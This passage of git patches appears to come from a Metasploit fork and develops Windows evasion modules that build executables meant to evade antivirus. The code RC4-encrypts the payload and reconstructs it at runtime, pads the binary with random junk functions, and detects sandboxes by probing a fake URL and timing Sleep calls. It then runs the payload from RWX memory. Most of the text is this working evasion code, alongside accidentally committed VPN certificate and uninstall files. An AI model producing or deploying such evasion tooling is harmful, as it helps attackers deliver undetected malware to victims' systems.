#{arr_size-1}, #{rand(1..100)}); + | + if flag == 0 + return [fibonnacci, bubbel_sort, euclide, binary_search].shuffle + else + return [fibonnacci_call, bubbel_sort_call, euclide_call, binary_search_call].sample + end +end + +def get_includes() + includes = ["#include \n", "#include \n", "#include \n"] + includes.shuffle + return includes.join +end + + +def get_check_url() + fct_url = "int check_url() {\n" + fct_url += "char url[] = \"https://www.#{Rex::Text.rand_text_alpha(rand(10..20))}.com\";\n" + fct_url += "HINTERNET httpopen, openurl;\n" + fct_url += "DWORD read;\n" + fct_url += "httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);\n" + fct_url += "openurl=InternetOpenUrl(httpopen,url,NULL,NULL,INTERNET_FLAG_RELOAD\|INTERNET_FLAG_NO_CACHE_WRITE,NULL);\n" + fct_url += "if (!openurl) // Access failed, we are not in AV\n" + fct_url += "{\n" + fct_url += " #{junk_code(1)};\n" + fct_url += " InternetCloseHandle(httpopen);\n" + fct_url += " InternetCloseHandle(openurl);\n" + fct_url += " return 0;\n" + fct_url += "}\n" + fct_url += "InternetCloseHandle(httpopen);\n" + fct_url += "InternetCloseHandle(openurl);\n" + fct_url += "return 1;\n" + fct_url += "}\n" + return fct_url +end + + def c_template + @c_template ||= %Q| +#include +#include + +int main(int argc, char **argv) +{ + char str[] = "Hello World!"; + printf("%s\\n", str); + return 0; +}| + end + + def run + # The randomized code allows us to generate a unique EXE + m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: "OK", compile_options: " -lpsapi -lwininet " }) + bin = m.compile_c(c_template) + print_status("Compiled executable size: #{bin.length}") + file_create(bin) + end + +end diff --git a/modules/evasion/windows/windows_defender_exe.rb b/modules/evasion/windows/windows_defender_exe.rb index 7c0c1499aa5e..616aed86b617 100644 --- a/modules/evasion/windows/windows_defender_exe.rb +++ b/modules/evasion/windows/windows_defender_exe.rb @@ -71,6 +71,7 @@ def c_template def run vprint_line c_template + print_status c_template # The randomized code allows us to generate a unique EXE bin = Metasploit::Framework::Compiler::Windows.compile_random_c(c_template) print_status("Compiled executable size: #{bin.length}") diff --git a/msfrpc b/msfrpc deleted file mode 100755 index aa9cbfd5164c..000000000000 --- a/msfrpc +++ /dev/null @@ -1,91 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# $Id$ -# -# This user interface allows users to interact with a remote framework -# instance through a XMLRPC socket. -# -# $Revision$ -# - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex/parser/arguments' - -# Declare the argument parser for msfrpc -arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Connect to this IP address" ], - "-p" => [ true, "Connect to the specified port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-h" => [ false, "Help banner" ] -) - -opts = { - 'User' => 'msf', - 'SSL' => true, - 'ServerPort' => 55553, - 'Type' => 'Msg' -} - -# Parse command line arguments. -arguments.parse(ARGV) do |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-S" - opts['SSL'] = false - when "-p" - opts['ServerPort'] = val - when '-U' - opts['User'] = val - when '-P' - opts['Pass'] = val - when "-h" - print("\nUsage: #{File.basename(__FILE__)} \n" + arguments.usage) - exit - end -end - -unless opts['ServerHost'] - $stderr.puts "[-] Error: a server IP must be specified (-a)" - $stderr.puts arguments.usage - exit(0) -end - -unless opts['Pass'] - $stderr.puts "[-] Error: a password must be specified (-P)" - $stderr.puts arguments.usage - exit(0) -end - -$0 = "msfrpc" - -require 'msf/core/rpc/v10/client' - -rpc = Msf::RPC::Client.new( - :host => opts['ServerHost'], - :port => opts['ServerPort'], - :ssl => opts['SSL'] -) - -rpc.login(opts['User'], opts['Pass']) - -puts "[*] The 'rpc' object holds the RPC client interface" -puts "[*] Use rpc.call('group.command') to make RPC calls" -puts '' - -while(ARGV.shift) -end - -Rex::Ui::Text::IrbShell.new(binding).run From 8c94987ff2178be420a8f2e191deafe5ca77550a Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Thu, 16 Feb 2023 20:53:38 +0100 Subject: [PATCH 07/22] time dist, and resetted rc4 --- CA.pem | 57 ++++++++ OK.c | 11 ++ modules/evasion/windows/no_shellcode.rb | 67 +++++++--- modules/evasion/windows/test.rb | 170 +----------------------- uninstall.sh | 21 +++ 5 files changed, 141 insertions(+), 185 deletions(-) create mode 100644 CA.pem create mode 100644 OK.c create mode 100755 uninstall.sh diff --git a/CA.pem b/CA.pem new file mode 100644 index 000000000000..acfd65edb483 --- /dev/null +++ b/CA.pem @@ -0,0 +1,57 @@ +-----BEGIN CERTIFICATE----- +MIIKJDCCBgygAwIBAgIQVc9ekKx5ZIkHcGchmaaVEzANBgkqhkiG9w0BAQ0FADCB +kTELMAkGA1UEBhMCTVkxHDAaBgNVBAgME1dpbGF5YWggUGVyc2VrdXR1YW4xDzAN +BgNVBAcMBkxhYnVhbjEZMBcGA1UECgwQZVZlbnR1cmUgTGltaXRlZDEeMBwGA1UE +CwwVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRgwFgYDVQQDDA9IaWRlLk1lIFJvb3Qg +Q0EwHhcNMTYwMTE3MjExMDI0WhcNNDYwMTA5MjExMDI0WjCBkTELMAkGA1UEBhMC +TVkxHDAaBgNVBAgME1dpbGF5YWggUGVyc2VrdXR1YW4xDzANBgNVBAcMBkxhYnVh +bjEZMBcGA1UECgwQZVZlbnR1cmUgTGltaXRlZDEeMBwGA1UECwwVQ2VydGlmaWNh +dGUgQXV0aG9yaXR5MRgwFgYDVQQDDA9IaWRlLk1lIFJvb3QgQ0EwggQiMA0GCSqG +SIb3DQEBAQUAA4IEDwAwggQKAoIEAQDX8zVTP6FQ4gJ+4e06bxvxifNHK8ht0RZn +zCNrrwkekpB4ojXDghNfS38oK80RfygC8LXN7SnLv+0xw5dRZ3QVIZJnd/DtX2EF +ZVxMyccJkLj8IEZv4Yx7zPnKI9EcQwo64O7npz28JZAGwexmK1W7ohm9VaAAtUPY +6Ej7k/wsJi2d5BeHzYRrfJX3nEft8hbotwsFLPsngDciS3yE2B5zH/PJOZ5uzr/5 +djAbeFktfHR6ywbxE2CYjz2pVUfqvzjzwNj5BJPp3K5iTL/oL1xrAkQ5xSPtHbP0 +ZCMmR//PC73cqkI6bAw8YAjvq0CG7wSC3rCfzgz3RGGPHMVUmB+GGu1KZoGisexm +9Y3ovmgubM+eE23aMBObf6tcRp1hSv7+EenlqAbyqQ5JqltWgsjEcV6THRKFmlSS +CP84kZK+nLnoto6MEG8sK9d02+iYWPQbVQ9X7O6pMHgVj7vnOLuW6i+hKT/pcsnU +8yhu2495Q07NDAAeX12dMbHhfLAs+DMtxjkj9SxejCS3Gi/XxON0E1NVVNEcl4yu +TODIJVfh/+uDdUn6v8tP7XmIFlKlfyQzfxND/VlRAep1Tt4i04KAhW0SG5/qaXoP +YROoP7eA0igKI5PxGbUZw/ym0i+1iXHR5XqfavZRM6gpOlDH2D9Mo64JfJTWT8J0 +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 +K127pRfgZn0= +-----END CERTIFICATE----- diff --git a/OK.c b/OK.c new file mode 100644 index 000000000000..dc51715bb26a --- /dev/null +++ b/OK.c @@ -0,0 +1,11 @@ + +#include +#include + + +int main(int argc, char **argv) +{ + char str[] = "Hello World!"; + printf("%s\n", str); + return 0; +} \ No newline at end of file diff --git a/modules/evasion/windows/no_shellcode.rb b/modules/evasion/windows/no_shellcode.rb index 5db9173e34c7..2a87225157b4 100644 --- a/modules/evasion/windows/no_shellcode.rb +++ b/modules/evasion/windows/no_shellcode.rb @@ -151,11 +151,40 @@ def junk_code(flag) #if flag is 0 return a function , if flag is 1 return a call def get_includes() rc4 = "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"" - includes = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", rc4] + includes = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", rc4, "#include \n"] includes.shuffle return includes.join end + +def get_time_distorsion + time_distorsion = %Q| + + int time_distortion() + { + DWORD mesure1 ; + DWORD mesure2 ; + #{junk_code(1)} + mesure1 = timeGetTime(); + Sleep(1000); + mesure2 = timeGetTime(); + #{junk_code(1)} + if((mesure2 > (mesure1+ 1000))&&(mesure2 < (mesure1+ 1200))) + { + #{junk_code(1)} + return 0; + } + else + { + exit(0); + #{junk_code(1)} + } + #{junk_code(1)} + } + | +end + + def get_check_url() fct_url = "int check_url() {\n" fct_url += " #{junk_code(1)}\n" @@ -190,8 +219,6 @@ def c_template #pragma comment(lib, "Psapi.lib") #pragma comment(lib, "Wininet.lib") -// The encrypted code allows us to get around static scanning - int size = #{get_payload[:size]}; char buf[#{get_payload[:size]}]; @@ -201,13 +228,13 @@ def c_template #{get_check_url} +#{get_time_distorsion} + int main(int argc, char **argv) { -int lpBufSize = sizeof(int) * size; + int lpBufSize = sizeof(int) * size; LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040); memset(lpBuf, '\\0', lpBufSize); - - if (check_url()) exit(1); #{junk_code(1)} @@ -217,23 +244,19 @@ def c_template for (i = 0; i < max_op; i++) { cpt++; } - printf("cpt = %d\\n", cpt); if (cpt == max_op) { ; } else { exit(33); } - PROCESS_MEMORY_COUNTERS pmc; - GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)); - #{junk_code(1)} - if(!(pmc.WorkingSetSize<=3500000)) - { - #{junk_code(1)} - } - #{junk_code(1)} - #{get_payload_bytes} + #{junk_code(1)} + + + time_distortion(); + #{get_payload_bytes} + #{junk_code(1)} #{junk_code(1)} #{junk_code(1)} @@ -265,15 +288,17 @@ def c_template end def run - # The randomized code allows us to generate a unique EXE fname = Rex::Text.rand_text_alpha(4..7) path = File.join(Msf::Config.local_directory, fname) full_path = ::File.expand_path(path) - m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: " -lpsapi -lwininet -w " }) + m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: " -lpsapi -lwininet -lwinmm -w " }) output = m.compile_c(c_template) - print_status("Compiler output len : #{output.length}") - print_status("#{output}") - print_good "#{fname}.exe stored at #{full_path}.exe" + if output.length > 0 + print_error(output) + else + print_good "#{fname}.exe stored at #{full_path}.exe" + end + print_good "#{fname}.c stored at #{full_path}.c" end end diff --git a/modules/evasion/windows/test.rb b/modules/evasion/windows/test.rb index cd63bccab10d..f3fe12ea8e97 100644 --- a/modules/evasion/windows/test.rb +++ b/modules/evasion/windows/test.rb @@ -1,178 +1,22 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - require 'metasploit/framework/compiler/windows' class MetasploitModule < Msf::Evasion def initialize(info={}) super(merge_info(info, - 'Name' => 'No shellcode defined, to reduce detection ratio', - 'Description' => %q{ - This module allows you to generate a Windows EXE without having a large shellcode in the file. and rather have it generated at runtime. This is useful for reducing the detection ratio of your payload. - it will also use few technique to avoid runtime detection such as, - opening non existing files, - querying time from a distant server->sleep->query time again. - calling api function that are not fully emulated by avs. - }, - 'Author' => [ 'Arthur RAOUT' ], - 'License' => MSF_LICENSE, + 'Name' => 'test', + 'Targets' => [ ['Microsoft Windows', {}] ], 'Platform' => 'win', 'Arch' => ARCH_X86, - 'Targets' => [ ['Microsoft Windows', {}] ] )) end - - def rc4_key - @rc4_key ||= Rex::Text.rand_text_alpha(32..64) - end - - - def get_payload - @c_payload ||= lambda { - opts = { format: 'rc4', key: rc4_key } - junk = Rex::Text.rand_text(10..1024) - p = payload.encoded + junk - - return { - size: p.length, - hex_format: Msf::Simple::Buffer.transform(p, 'hex', 'buf', opts), - c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts) - } - }.call - end -def get_payload_bytes() - payload = get_payload[:hex_format] - s = "" - i = 0 - j = 0 - vector = rand(1..1024) - while j < get_payload[:size] - s += " buf[#{j}] = \'\\x#{((payload[i]+payload[i+1]).hex + vector).to_s(16).rjust(2, "0")}\'-#{vector};\n" - i = i+2 - j = j+1 - end - return s -end - -def fill_array(size) - s = "" - i = 0 - while i < size - if i == size-1 - s += "#{rand(1..1024)}" - else - s += "#{rand(1..1024)}, " - end - i = i+1 - end - return s -end - -def junk_code(flag) #if flag is 0 return a function , if flag is 1 return a call to a function - #fibonnacci fucntion in junk 0 - fibonnacci = %Q| - int fib(int n) { - if (n <= 1) - return n; - return fib(n-1) + fib(n-2); - } - | - bubbel_sort = %Q| - void bubbel_sort(int arr[], int n) { - int i, j, temp; - for (i = 0; i < n; i++) { - for (j = 0; j < n - i - 1; j++) { - if (arr[j] > arr[j + 1]) { - temp = arr[j]; - arr[j] = arr[j + 1]; - arr[j + 1] = temp; - } - } - } - } - | - euclide = %Q| - int euclide(int a, int b) { - if (a == 0) - return b; - return euclide(b % a, a); - } - | - binary_search = %Q| - int binary_search(int arr[], int l, int r, int x) { - if (r >= l) { - int mid = l + (r - l) / 2; - if (arr[mid] == x) - return mid; - if (arr[mid] > x) - return binary_search(arr, l, mid - 1, x); - return binary_search(arr, mid + 1, r, x); - } - return -1; - } - | - #fibonnacci call example - fibonnacci_call = %Q| - fib(#{rand(1..100)}); - | - #bubbel sort call example - arr_size = rand(1..100) - bubbel_sort_call = %Q| - int arr[#{arr_size}] = {#{fill_array(arr_size)}}; - bubbel_sort(arr, #{arr_size}); - | - #euclide call example - euclide_call = %Q| - euclide(#{rand(1..100)}, #{rand(1..100)}); - | - #binary search call example - arr_size = rand(1..100) - binary_search_call = %Q| - int arr[#{arr_size}] = {#{fill_array(arr_size)}}; - binary_search(arr, 0, #{arr_size-1}, #{rand(1..100)}); - | - if flag == 0 - return [fibonnacci, bubbel_sort, euclide, binary_search].shuffle - else - return [fibonnacci_call, bubbel_sort_call, euclide_call, binary_search_call].sample - end -end - -def get_includes() - includes = ["#include \n", "#include \n", "#include \n"] - includes.shuffle - return includes.join -end - - -def get_check_url() - fct_url = "int check_url() {\n" - fct_url += "char url[] = \"https://www.#{Rex::Text.rand_text_alpha(rand(10..20))}.com\";\n" - fct_url += "HINTERNET httpopen, openurl;\n" - fct_url += "DWORD read;\n" - fct_url += "httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);\n" - fct_url += "openurl=InternetOpenUrl(httpopen,url,NULL,NULL,INTERNET_FLAG_RELOAD\|INTERNET_FLAG_NO_CACHE_WRITE,NULL);\n" - fct_url += "if (!openurl) // Access failed, we are not in AV\n" - fct_url += "{\n" - fct_url += " #{junk_code(1)};\n" - fct_url += " InternetCloseHandle(httpopen);\n" - fct_url += " InternetCloseHandle(openurl);\n" - fct_url += " return 0;\n" - fct_url += "}\n" - fct_url += "InternetCloseHandle(httpopen);\n" - fct_url += "InternetCloseHandle(openurl);\n" - fct_url += "return 1;\n" - fct_url += "}\n" - return fct_url -end + def c_template @c_template ||= %Q| #include -#include +#include + int main(int argc, char **argv) { @@ -183,11 +27,9 @@ def c_template end def run - # The randomized code allows us to generate a unique EXE m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: "OK", compile_options: " -lpsapi -lwininet " }) bin = m.compile_c(c_template) - print_status("Compiled executable size: #{bin.length}") - file_create(bin) + print_status("#{bin}") end end diff --git a/uninstall.sh b/uninstall.sh new file mode 100755 index 000000000000..fc80e6dbf28a --- /dev/null +++ b/uninstall.sh @@ -0,0 +1,21 @@ +#!/bin/sh + +# Check privileges +if [ $(id -u) != 0 ]; then + echo "$0 must be run as root, try sudo $0" + exit +fi + +# Check for systemctl +_=$(which systemctl) +if [ $? -eq 0 ]; then + echo "Stopping hide.me" + systemctl stop 'hide.me@*' + echo "Unlinking service files" + systemctl disable hide.me@.service +fi + +echo "Removing hide.me directory" +rm -r /opt/hide.me + +echo "hide.me CLI removed" \ No newline at end of file From 934cbfef301a650d565c8b5b63403bc53333799e Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Thu, 16 Feb 2023 20:54:08 +0100 Subject: [PATCH 08/22] time dist, and resetted rc4 --- CA.pem | 57 --------------------------------------------------------- OK.c | 11 ----------- 2 files changed, 68 deletions(-) delete mode 100644 CA.pem delete mode 100644 OK.c diff --git a/CA.pem b/CA.pem deleted file mode 100644 index acfd65edb483..000000000000 --- a/CA.pem +++ /dev/null @@ -1,57 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIKJDCCBgygAwIBAgIQVc9ekKx5ZIkHcGchmaaVEzANBgkqhkiG9w0BAQ0FADCB -kTELMAkGA1UEBhMCTVkxHDAaBgNVBAgME1dpbGF5YWggUGVyc2VrdXR1YW4xDzAN -BgNVBAcMBkxhYnVhbjEZMBcGA1UECgwQZVZlbnR1cmUgTGltaXRlZDEeMBwGA1UE -CwwVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRgwFgYDVQQDDA9IaWRlLk1lIFJvb3Qg -Q0EwHhcNMTYwMTE3MjExMDI0WhcNNDYwMTA5MjExMDI0WjCBkTELMAkGA1UEBhMC -TVkxHDAaBgNVBAgME1dpbGF5YWggUGVyc2VrdXR1YW4xDzANBgNVBAcMBkxhYnVh -bjEZMBcGA1UECgwQZVZlbnR1cmUgTGltaXRlZDEeMBwGA1UECwwVQ2VydGlmaWNh -dGUgQXV0aG9yaXR5MRgwFgYDVQQDDA9IaWRlLk1lIFJvb3QgQ0EwggQiMA0GCSqG -SIb3DQEBAQUAA4IEDwAwggQKAoIEAQDX8zVTP6FQ4gJ+4e06bxvxifNHK8ht0RZn -zCNrrwkekpB4ojXDghNfS38oK80RfygC8LXN7SnLv+0xw5dRZ3QVIZJnd/DtX2EF -ZVxMyccJkLj8IEZv4Yx7zPnKI9EcQwo64O7npz28JZAGwexmK1W7ohm9VaAAtUPY -6Ej7k/wsJi2d5BeHzYRrfJX3nEft8hbotwsFLPsngDciS3yE2B5zH/PJOZ5uzr/5 -djAbeFktfHR6ywbxE2CYjz2pVUfqvzjzwNj5BJPp3K5iTL/oL1xrAkQ5xSPtHbP0 -ZCMmR//PC73cqkI6bAw8YAjvq0CG7wSC3rCfzgz3RGGPHMVUmB+GGu1KZoGisexm -9Y3ovmgubM+eE23aMBObf6tcRp1hSv7+EenlqAbyqQ5JqltWgsjEcV6THRKFmlSS -CP84kZK+nLnoto6MEG8sK9d02+iYWPQbVQ9X7O6pMHgVj7vnOLuW6i+hKT/pcsnU -8yhu2495Q07NDAAeX12dMbHhfLAs+DMtxjkj9SxejCS3Gi/XxON0E1NVVNEcl4yu -TODIJVfh/+uDdUn6v8tP7XmIFlKlfyQzfxND/VlRAep1Tt4i04KAhW0SG5/qaXoP -YROoP7eA0igKI5PxGbUZw/ym0i+1iXHR5XqfavZRM6gpOlDH2D9Mo64JfJTWT8J0 -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 -K127pRfgZn0= ------END CERTIFICATE----- diff --git a/OK.c b/OK.c deleted file mode 100644 index dc51715bb26a..000000000000 --- a/OK.c +++ /dev/null @@ -1,11 +0,0 @@ - -#include -#include - - -int main(int argc, char **argv) -{ - char str[] = "Hello World!"; - printf("%s\n", str); - return 0; -} \ No newline at end of file From 089a6add5642be43efb27f7a0c375469aab9ea6d Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Tue, 6 Feb 2024 17:56:21 +0100 Subject: [PATCH 09/22] Go --- modules/evasion/windows/no_shellcode.rb | 194 ++++++++++++------------ 1 file changed, 100 insertions(+), 94 deletions(-) diff --git a/modules/evasion/windows/no_shellcode.rb b/modules/evasion/windows/no_shellcode.rb index 2a87225157b4..08d8f63063e5 100644 --- a/modules/evasion/windows/no_shellcode.rb +++ b/modules/evasion/windows/no_shellcode.rb @@ -151,7 +151,7 @@ def junk_code(flag) #if flag is 0 return a function , if flag is 1 return a call def get_includes() rc4 = "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"" - includes = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", rc4, "#include \n"] + includes = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", rc4, "#include \n", "#include \n","#include \n", "#include "] includes.shuffle return includes.join end @@ -159,131 +159,137 @@ def get_includes() def get_time_distorsion time_distorsion = %Q| - - int time_distortion() + + int extractField(const char *response, const char *fieldName, int *fieldValue) { + const char *delimiter = "\\n"; + char *token; + + token = strtok((char *)response, delimiter); + + while (token != NULL) { + if (strstr(token, fieldName)) { + if (sscanf(token, "%*[^:]: %d", fieldValue) == 1) { + return 1; + } else { + return 0; + } + } + + token = strtok(NULL, delimiter); + } + + return 0; + } + + int get_time() { - DWORD mesure1 ; - DWORD mesure2 ; - #{junk_code(1)} - mesure1 = timeGetTime(); - Sleep(1000); - mesure2 = timeGetTime(); - #{junk_code(1)} - if((mesure2 > 